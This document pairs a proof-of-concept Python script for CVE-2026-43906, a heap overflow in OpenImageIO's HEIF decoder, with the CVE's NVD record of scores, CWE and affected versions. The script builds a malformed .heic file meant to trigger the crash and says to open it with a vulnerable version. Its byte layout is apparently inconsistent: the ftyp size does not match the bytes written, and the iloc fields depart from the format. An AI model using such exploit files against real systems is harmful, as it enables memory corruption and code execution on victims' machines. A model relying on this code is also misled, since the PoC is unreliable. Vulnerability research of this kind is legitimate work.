CVE-2026-43906

import struct # PoC for CVE-2026-43906: OpenImageIO Heap Buffer Overflow # This script generates a malformed HEIF file with mismatched subimage metadata # to trigger the heap overflow vulnerability in vulnerable versions of OpenImageIO. def generate_malformed_heif(filename): with open(filename, 'wb') as f: # Standard HEIF/ISO Base Media File Format header (ftyp box) f.write(b'\x00\x00\x00\x20') # Size f.write(b'ftyp') # Type f.write(b'heic') # Major brand f.write(b'\x00\x00\x00\x00') # Minor version f.write(b'mif1') # Compatible brand f.write(b'heic') # Compatible brand f.write(b'\x00\x00\x00\x00') # Padding # 'meta' box (metadata) meta_box_size = 1000 # Claimed size f.write(struct.pack('>I', meta_box_size)) f.write(b'meta') f.write(b'\x00\x00\x00\x00') # Version/flags # 'iloc' box (item location) - this is where we trigger the mismatch # We define an item that claims to have data larger than the buffer allocated f.write(b'\x00\x00\x00\x30') # Size f.write(b'iloc') f.write(b'\x00\x00\x00\x00') # Version/flags f.write(b'\x00') # Offset size f.write(b'\x02') # Length size (2 bytes) f.write(b'\x00') # Base offset size f.write(b'\x00') # Reserved f.write(b'\x00\x01') # Item count f.write(b'\x00\x01') # Item ID f.write(b'\x00\x00') # Construction method f.write(b'\x00') # Data reference index # Mismatch: Extent length is set very large relative to actual data # This causes the decoder to write past the end of the allocated heap buffer f.write(b'\xFF\xFF') # Extent length (max 16-bit value to trigger overflow) f.write(b'\x00\x00\x00\x00') # Extent offset # Fill the rest with dummy data to satisfy file structure reading # but insufficient to cover the declared extent length f.write(b'A' * 500) print(f"Malformed HEIF file generated: {filename}") print("Open this file with a vulnerable version of OpenImageIO to trigger the crash.") if __name__ == "__main__": generate_malformed_heif("cve_2026_43906_poc.heic")

{"cve": {"id": "CVE-2026-43906", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:06.607", "lastModified": "2026-05-15T19:42:27.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenImageIO is a toolset for reading, writing, and manipulating image files of any image file format relevant to VFX / animation. Prior to 3.0.18.0 and 3.1.13.0, a heap-based buffer overflow in the HEIF decoder of OpenImageIO allows out-of-bounds writes via crafted images due to a subimage metadata mismatch, leading to memory corruption and potential code execution. This vulnerability is fixed in 3.0.18.0 and 3.1.13.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0.18.0", "matchCriteriaId": "90B206C1-E7DB-4175-8077-C76D5C8533AF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.1.4.0", "versionEndExcluding": "3.1.13.0", "matchCriteriaId": "34BBB27F-256F-4D15-A394-158343CB8B4D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openimageio:openimageio:3.2.0.2:dev:*:*:*:*:*:*", "matchCriteriaId": "450296D8-74F5-4847-8433-FE3DFB16C58E"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-gmrp-x952-3m66", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/AcademySoftwareFoundation/OpenImageIO/security/advisories/GHSA-gmrp-x952-3m66", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}